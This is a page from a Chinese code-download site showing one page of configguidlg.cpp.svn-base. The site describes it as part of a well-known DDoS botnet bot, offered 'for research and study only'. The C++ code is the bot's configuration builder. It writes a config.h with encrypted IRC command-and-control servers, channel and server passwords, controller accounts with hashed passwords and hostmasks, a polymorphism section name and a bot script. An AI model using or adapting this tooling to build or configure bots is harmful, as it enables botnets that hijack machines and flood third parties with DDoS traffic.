⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 configguidlg.cpp.svn-base

📁 很有名的一款用于组织DDoS的恶意机器人程序。仅供研究学习
💻 SVN-BASE
📖 第 1 页 / 共 3 页
字号:

	// If strings dont match get another key and encryt
	if(sCheckStr.Compare(sIn)) {
		init_random();
		sKey=GenKey(); cSap.burn();
		return Encrypt(sIn, sKey);
	}

	cSap.burn(); return sRetVal; }

void CConfigguiDlg::WriteConfigCpp() {
	init_random();
	int iRetVal=IDCANCEL; CString sFileName;
	while(iRetVal==IDCANCEL) {
		CFileDialog dlg(FALSE, "config.h", NULL, OFN_EXPLORER|OFN_ENABLESIZING|OFN_PATHMUSTEXIST|OFN_CREATEPROMPT|OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,
			"Config File (config.h)|config.h|Header Files (*.h)|*.h|All Files (*.*)|*.*||", this);
		iRetVal=dlg.DoModal(); if(iRetVal==IDCANCEL) { MessageBox("No file selected!", "Error", MB_OK | MB_ICONERROR); continue; }
		sFileName=dlg.GetPathName(); break;
	}

	UpdateData(TRUE);

	g_iKeyLen=m_iKeyLen;

	FILE *fp=fopen(sFileName, "w"); if(!fp) return;
	fprintf(fp, "#ifndef __CONFIG_H__\n");
	fprintf(fp, "#define __CONFIG_H__\n\n");
	fprintf(fp, "#include \"confbase.h\"\n\n");
	fprintf(fp, "// The section name for polymorph\n");
	fprintf(fp, "#define SECTION_NAME \"%s\"\n\n", m_sPolySecName);
	fprintf(fp, "// Array of CVars\n");
	fprintf(fp, "conf_cvar g_aCVars[] = {\n");

	list<config_item>::iterator ic;
	for(ic=m_lConfigItems.begin(); ic!=m_lConfigItems.end(); ic++) {

		switch((*ic).iItemType) {
		case ITEM_TYPE_STRING:
			{	CString sKey=GenKey(); CString sEncStr=Encrypt((*ic).sItemData, sKey);
				fprintf(fp, "\t{\t\"%s\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", (*ic).sItemName, EscapeH(sEncStr), sKey, GetMD5(sEncStr)); }
			break;
		case ITEM_TYPE_CHAR:
			if((*ic).cItemData)
			{	char szBla[3]={(*ic).cItemData, 0, 0};
				fprintf(fp, "\t{\t\"%s\",\t\"%s\",\tNULL,\t\"\"\t},\n", (*ic).sItemName, Escape(CString(szBla))); }
			else
				fprintf(fp, "\t{\t\"%s\",\t\"\",\tNULL,\t\"\"\t},\n", (*ic).sItemName);
			break;
		case ITEM_TYPE_BOOL:
			if((*ic).bItemData)
				fprintf(fp, "\t{\t\"%s\",\t\"true\",\tNULL,\t\"\"\t},\n", (*ic).sItemName);
			else
				fprintf(fp, "\t{\t\"%s\",\t\"false\",\tNULL,\t\"\"\t},\n", (*ic).sItemName);
			break;
		case ITEM_TYPE_INT:
			fprintf(fp, "\t{\t\"%s\",\t\"%d\",\tNULL,\t\"\"\t},\n", (*ic).sItemName, (*ic).iItemData);
			break;
		default:
			break;
		};
	}

	fprintf(fp, "};\n\n");
	fprintf(fp, "// Array of Users\n");
	fprintf(fp, "conf_user g_aUsers[] = {\n");

	list<user_item>::iterator iu; int iUserNum=0;
	for(iu=m_lUserItems.begin(); iu!=m_lUserItems.end(); iu++) {
		CString sMD5Pass=GetMD5Text((*iu).sPassword); CString sKey=GenKey();

		fprintf(fp, "{\t{\t\"user%d.username\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iUserNum, EscapeH(Encrypt((*iu).sUserName, sKey)), sKey, GetMD5(Encrypt((*iu).sUserName, sKey)));
		fprintf(fp, "\t{\t\"user%d.password\",\t\"%s\",\tNULL,\t\"%s\"\t},\n", iUserNum, sMD5Pass, GetMD5(sMD5Pass));
		fprintf(fp, "\t{\t\"user%d.hostmask\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iUserNum, EscapeH(Encrypt((*iu).sHostmask, sKey)), sKey, GetMD5(Encrypt((*iu).sHostmask, sKey)));
		fprintf(fp, "\t{\t\"user%d.identdmask\",\t\"%s\",\t\"%s\",\t\"%s\"\t}, },\n", iUserNum, EscapeH(Encrypt((*iu).sIdentdmask, sKey)), sKey, GetMD5(Encrypt((*iu).sIdentdmask, sKey)));
		iUserNum++; }
	
	fprintf(fp, "};\n\n");
	fprintf(fp, "// Array of Servers\n");
	fprintf(fp, "conf_server g_aServers[] = {\n");

	list<server_item>::iterator is; int iServerNum=0;
	for(is=m_lServerItems.begin(); is!=m_lServerItems.end(); is++) {
		CString sKey=GenKey();
		fprintf(fp, "{\t{\t\"server%d.chanpass\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iServerNum, EscapeH(Encrypt((*is).sChanPass, sKey)), sKey, GetMD5(Encrypt((*is).sChanPass, sKey)));
		fprintf(fp, "\t{\t\"server%d.mainchan\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iServerNum, EscapeH(Encrypt((*is).sMainChan, sKey)), sKey, GetMD5(Encrypt((*is).sMainChan, sKey)));
		fprintf(fp, "\t{\t\"server%d.nickprefix\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iServerNum, EscapeH(Encrypt((*is).sNickPrefix, sKey)), sKey, GetMD5(Encrypt((*is).sNickPrefix, sKey)));
		fprintf(fp, "\t{\t\"server%d.port\",\t\"%d\",\tNULL,\t\"\"\t},\n", iServerNum, (*is).iPort);
		fprintf(fp, "\t{\t\"server%d.server\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iServerNum, EscapeH(Encrypt((*is).sServer, sKey)), sKey, GetMD5(Encrypt((*is).sServer, sKey)));
		fprintf(fp, "\t{\t\"server%d.servpass\",\t\"%s\",\t\"%s\",\t\"%s\"\t},\n", iServerNum, EscapeH(Encrypt((*is).sServPass, sKey)), sKey, GetMD5(Encrypt((*is).sServPass, sKey)));
		if((*is).bUseSSL) fprintf(fp, "\t{\t\"server%d.usessl\",\t\"true\",\tNULL,\t\"\"\t}\t},\n", iServerNum);
		else fprintf(fp, "\t{\t\"server%d.usessl\",\t\"false\",\tNULL,\t\"\"\t}\t},\n", iServerNum);
		iServerNum++; }

	fprintf(fp, "};\n\n");
	fprintf(fp, "// Script\n\n");
	fprintf(fp, "char *g_szScript = \\\n");

	// Loop while token isnt empty
	char *szTempCopy=new char[m_sScript.GetLength()+2];
	strcpy(szTempCopy, m_sScript);
	char *szToken=strtok(szTempCopy, "\n");

	if(szToken) {
		while(true) {
			char *szNextToken=strtok(NULL, "\n");

			if(szNextToken) {
				fprintf(fp, "\t\"%s\\n\" \\\n", Escape(CString(szToken)));
			} else {
				fprintf(fp, "\t\"%s\\n\";\n\n", Escape(CString(szToken))); break;
			}

			szToken=szNextToken;
		}
	}

	delete [] szTempCopy;

	fprintf(fp, "#endif // __CONFIG_H__\n");

	fclose(fp);
}

void CConfigguiDlg::SaveConfig(const char *szFileName) {
	if(!szFileName) return;
	FILE *fp=fopen(szFileName, "w"); if(!fp) return;

	list<config_item>::iterator ic;
	for(ic=m_lConfigItems.begin(); ic!=m_lConfigItems.end(); ic++) {
		switch((*ic).iItemType) {
		case ITEM_TYPE_STRING:
			fprintf(fp, "cvar\t%s\t%s\n", (*ic).sItemName, (*ic).sItemData);
			break;
		case ITEM_TYPE_CHAR:
			fprintf(fp, "cvar\t%s\t%c\n", (*ic).sItemName, (*ic).cItemData);
			break;
		case ITEM_TYPE_BOOL:
			if((*ic).bItemData) fprintf(fp, "cvar\t%s\ttrue\n", (*ic).sItemName);
			else fprintf(fp, "cvar\t%s\tfalse\n", (*ic).sItemName);
			break;
		case ITEM_TYPE_INT:
			fprintf(fp, "cvar\t%s\t%d\n", (*ic).sItemName, (*ic).iItemData);
			break;
		default:
			break;
		};
	}

	list<server_item>::iterator is;
	for(is=m_lServerItems.begin(); is!=m_lServerItems.end(); is++) {
		char *szRootServer, *szUseSSL;
		if((*is).bRootServer) szRootServer="true"; else szRootServer="false";
		if((*is).bUseSSL) szUseSSL="true"; else szUseSSL="false";

		const char *szNickPrefix, *szServPass, *szServer, *szChanPass, *szMainChan;
		if((*is).sNickPrefix.Compare("")) szNickPrefix=(*is).sNickPrefix; else szNickPrefix="(NULL)";
		if((*is).sServPass.Compare("")) szServPass=(*is).sServPass; else szServPass="(NULL)";
		if((*is).sServer.Compare("")) szServer=(*is).sServer; else szServer="(NULL)";
		if((*is).sChanPass.Compare("")) szChanPass=(*is).sChanPass; else szChanPass="(NULL)";
		if((*is).sMainChan.Compare("")) szMainChan=(*is).sMainChan; else szMainChan="(NULL)";

		fprintf(fp, "server\t%s\t%s\t%s\t%s\t%d\t%s\t%s\t%s\n", szRootServer, szNickPrefix,
			szServPass, szServer, (*is).iPort, szChanPass, szMainChan, szUseSSL);
	}

	list<user_item>::iterator iu;
	for(iu=m_lUserItems.begin(); iu!=m_lUserItems.end(); iu++) {
		const char *szUserName, *szPassword, *szHostmask, *szIdentdmask;

		if((*iu).sUserName.Compare("")) szUserName=(*iu).sUserName; else szUserName="(NULL)";
		if((*iu).sPassword.Compare("")) szPassword=(*iu).sPassword; else szPassword="(NULL)";
		if((*iu).sHostmask.Compare("")) szHostmask=(*iu).sHostmask; else szHostmask="(NULL)";
		if((*iu).sIdentdmask.Compare("")) szIdentdmask=(*iu).sIdentdmask; else szIdentdmask="(NULL)";

		fprintf(fp, "user\t%s\t%s\t%s\t%s\n", szUserName, szPassword, szHostmask, szIdentdmask);
	}

	if(m_sScript.GetLength()) fprintf(fp, "script\n%s", m_sScript);

	fclose(fp); }

void CConfigguiDlg::LoadConfig(const char *szFileName) {
	if(!szFileName) return;
	FILE *fp=fopen(szFileName, "r"); if(!fp) return;

	m_lUserItems.clear(); m_lServerItems.clear();
	m_cUserList.ResetContent(); m_cServerList.ResetContent();
	
	char szReadBuf[8192];

	while(fgets(szReadBuf, sizeof(szReadBuf), fp) && !feof(fp)) {
		for(int i=0;i<strlen(szReadBuf);i++)
			if(szReadBuf[i]=='\r' || szReadBuf[i]=='\n') szReadBuf[i]='\x00';
		if(!strcmp(szReadBuf, "")) continue; if(szReadBuf[0]=='#') continue;

		char *szItemType=strtok(szReadBuf, "\t");
		if(!szItemType) continue;

		if(!strcmp(szItemType, "cvar")) {
			char *szItemName, *szItemValue;
			szItemName=strtok(NULL, "\t"); szItemValue=strtok(NULL, "\t");
			if(!szItemName || !szItemValue) continue;

			list<config_item>::iterator ic;
			for(ic=m_lConfigItems.begin(); ic!=m_lConfigItems.end(); ic++) {
				if(!strcmp((*ic).sItemName, szItemName)) {
					switch((*ic).iItemType) {
					case ITEM_TYPE_STRING:
						(*ic).sItemData=szItemValue;
						break;
					case ITEM_TYPE_CHAR:
						(*ic).cItemData=*szItemValue;
						break;
					case ITEM_TYPE_BOOL:
						if(!stricmp(szItemValue, "true"))
							(*ic).bItemData=true;
						else
							(*ic).bItemData=false;
						break;
					case ITEM_TYPE_INT:
						(*ic).iItemData=atoi(szItemValue);
						break;
					default:
						break;
					};
				}
			}
		} else if(!strcmp(szItemType, "server")) {
			char *szRootServer, *szNickPrefix, *szServPass, *szServer, *szPort, *szChanPass, *szMainChan, *szUseSSL;
			szRootServer=strtok(NULL, "\t"); szNickPrefix=strtok(NULL, "\t");
			szServPass=strtok(NULL, "\t"); szServer=strtok(NULL, "\t");
			szPort=strtok(NULL, "\t"); szChanPass=strtok(NULL, "\t");
			szMainChan=strtok(NULL, "\t"); szUseSSL=strtok(NULL, "\t");
			if(	!szRootServer || !szNickPrefix || !szServPass || !szServer || \
				!szPort || !szChanPass || !szMainChan || !szUseSSL) continue;

			server_item sItem;

			if(!strcmp(szRootServer, "(NULL)")) szRootServer="";
			if(!strcmp(szNickPrefix, "(NULL)")) szNickPrefix="";
			if(!strcmp(szServPass, "(NULL)")) szServPass="";
			if(!strcmp(szServer, "(NULL)")) szServer="";
			if(!strcmp(szPort, "(NULL)")) szPort="";
			if(!strcmp(szChanPass, "(NULL)")) szChanPass="";
			if(!strcmp(szMainChan, "(NULL)")) szMainChan="";
			if(!strcmp(szUseSSL, "(NULL)")) szUseSSL="";

			if(!stricmp(szRootServer, "true")) sItem.bRootServer=true; else sItem.bRootServer=false;
			if(!stricmp(szUseSSL, "true")) sItem.bUseSSL=true; else sItem.bUseSSL=false;
			sItem.iPort=atoi(szPort); sItem.sChanPass=szChanPass;
			sItem.sMainChan=szMainChan; sItem.sNickPrefix=szNickPrefix;
			sItem.sServer=szServer; sItem.sServPass=szServPass;

			m_lServerItems.push_back(sItem);

			list<server_item>::iterator is;
			for(is=m_lServerItems.begin(); is!=m_lServerItems.end(); is++) {
				if((*is)==sItem) {
					CString sItemText;
					sItemText.Format("%s:%d - %s - %s", (*is).sServer, (*is).iPort, (*is).sMainChan, (*is).sNickPrefix);
					int iItem=m_cServerList.InsertString(0, sItemText);
					m_cServerList.SetItemDataPtr(iItem, &(*is));
					m_cServerList.SetCurSel(iItem);
					OnSelchangeServerList();
					break;
				}
			}
		} else if(!strcmp(szItemType, "user")) {
			char *szUserName, *szPassword, *szHostmask, *szIdentdmask;
			szUserName=strtok(NULL, "\t"); szPassword=strtok(NULL, "\t");
			szHostmask=strtok(NULL, "\t"); szIdentdmask=strtok(NULL, "\t");
			if(!szUserName || !szPassword || !szHostmask || !szIdentdmask) continue;

			user_item uItem;

			if(!strcmp(szUserName, "(NULL)")) szUserName="";
			if(!strcmp(szPassword, "(NULL)")) szPassword="";
			if(!strcmp(szHostmask, "(NULL)")) szHostmask="";
			if(!strcmp(szIdentdmask, "(NULL)")) szIdentdmask="";

			uItem.sUserName=szUserName; uItem.sPassword=szPassword;
			uItem.sHostmask=szHostmask; uItem.sIdentdmask=szIdentdmask;

			m_lUserItems.push_back(uItem);

			list<user_item>::iterator iu;
			for(iu=m_lUserItems.begin(); iu!=m_lUserItems.end(); iu++) {
				if((*iu)==uItem) {
					CString sItemText;
					sItemText.Format("%s - %s - %s", (*iu).sUserName, (*iu).sIdentdmask, (*iu).sIdentdmask);
					int iItem=m_cUserList.InsertString(0, sItemText);
					m_cUserList.SetItemDataPtr(iItem, &(*iu));
					m_cUserList.SetCurSel(iItem);
					OnSelchangeUserList();
					break;
				}
			}
		} else if(!strcmp(szItemType, "script")) {
			// Read in script, must be on end of cfg
			// Break when finished
			char szReadBuf2[4096]; m_sScript="";
			while(fgets(szReadBuf2, sizeof(szReadBuf2), fp) && !feof(fp)) {
				m_sScript+=szReadBuf2;
			}
			break;
		}
	}

	fclose(fp);

	OnSelchangeConfigList(); }

void CConfigguiDlg::OnOK() {
	WriteConfigCpp(); CDialog::OnOK(); }

void CConfigguiDlg::OnLoadfrom() {
	CFileDialog dlg(TRUE, ".cfg", NULL, OFN_EXPLORER|OFN_ENABLESIZING|OFN_FILEMUSTEXIST|OFN_PATHMUSTEXIST,
		"Config File (*.cfg)|*.cfg|All Files (*.*)|*.*||", this);
	if(dlg.DoModal()==IDCANCEL) { MessageBox("No file selected!", "Error", MB_OK | MB_ICONERROR); return; }
	CString sFileName=dlg.GetPathName();
	LoadConfig(sFileName); }

void CConfigguiDlg::OnSaveto() {
	CFileDialog dlg(FALSE, ".cfg", NULL, OFN_EXPLORER|OFN_ENABLESIZING|OFN_PATHMUSTEXIST|OFN_CREATEPROMPT|OFN_HIDEREADONLY|OFN_OVERWRITEPROMPT,
		"Config File (*.cfg)|*.cfg|All Files (*.*)|*.*||", this);
	if(dlg.DoModal()==IDCANCEL) { MessageBox("No file selected!", "Error", MB_OK | MB_ICONERROR); return; }
	CString sFileName=dlg.GetPathName();
	SaveConfig(sFileName); }

int CConfigguiDlg::DoModal() 
{
	ParseConfigDef();
	
	return CDialog::DoModal();
}

void CConfigguiDlg::OnShowWindow(BOOL bShow, UINT nStatus) 
{
	CDialog::OnShowWindow(bShow, nStatus);
	
	init_random();
	for(int i=0;szQuotes[i]!=NULL;i++);
	int iQuote=brandom(0, i-1);
	char *szSelQuote=szQuotes[iQuote];
	m_cQuote.SetWindowText(szSelQuote);

	list<config_item>::iterator ic;
	for(ic=m_lConfigItems.begin(); ic!=m_lConfigItems.end(); ic++) {
		CString sItemText;
		sItemText.Format("%s - %s", (*ic).sItemName, (*ic).sItemTypeName);
		int iItem=m_cConfigList.InsertString(0, sItemText);
		m_cConfigList.SetItemDataPtr(iItem, &(*ic));
	}
}

void CConfigguiDlg::OnSelchangeConfigList() 
{
	UpdateData(TRUE);

	int iSelected=m_cConfigList.GetCurSel();
	if(iSelected==-1) {
		m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
		m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE);
		return; }

	config_item *pItem=(config_item*)m_cConfigList.GetItemDataPtr(iSelected);
	if(!pItem) {
		m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
		m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE);
		return; }

	switch(pItem->iItemType) {
	case ITEM_TYPE_STRING:
		{	m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
			m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_SHOW);
			m_sValueString=pItem->sItemData; }
		break;
	case ITEM_TYPE_CHAR:
		{	m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_SHOW);
			m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE);
			char szCharStr[3]={pItem->cItemData, '\x00'};
			m_sValueChar=szCharStr; }
		break;
	case ITEM_TYPE_BOOL:
		{	m_cValueBool.ShowWindow(SW_SHOW); m_cValueChar.ShowWindow(SW_HIDE);
			m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE);
			m_bValueBool=pItem->bItemData; }
		break;
	case ITEM_TYPE_INT:
		{	m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
			m_cValueInt.ShowWindow(SW_SHOW); m_cValueString.ShowWindow(SW_HIDE);
			m_iValueInt=pItem->iItemData; }
		break;
	default:
		{	m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
			m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE); }
		break;
	};

	m_sDescription=pItem->sItemDesc;

	UpdateData(FALSE);
}

void CConfigguiDlg::OnValueBool() {
	UpdateData(TRUE);

	int iSelected=m_cConfigList.GetCurSel();
	if(iSelected==-1) {
		m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
		m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE);
		return; }

	config_item *pItem=(config_item*)m_cConfigList.GetItemDataPtr(iSelected);
	if(!pItem) {
		m_cValueBool.ShowWindow(SW_HIDE); m_cValueChar.ShowWindow(SW_HIDE);
		m_cValueInt.ShowWindow(SW_HIDE); m_cValueString.ShowWindow(SW_HIDE);
		return; }

	if(!m_bValueBool) pItem->bItemData=false; else pItem->bItemData=true;

	if(!pItem->sItemName.Compare("as_service") && pItem->bItemData==true) {
		MessageBox("DONT DO THIS, I WARNED YOU!!!", "Warning", MB_OK);
	}

	UpdateData(FALSE);
}

void CConfigguiDlg::OnChangeValueChar() {

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -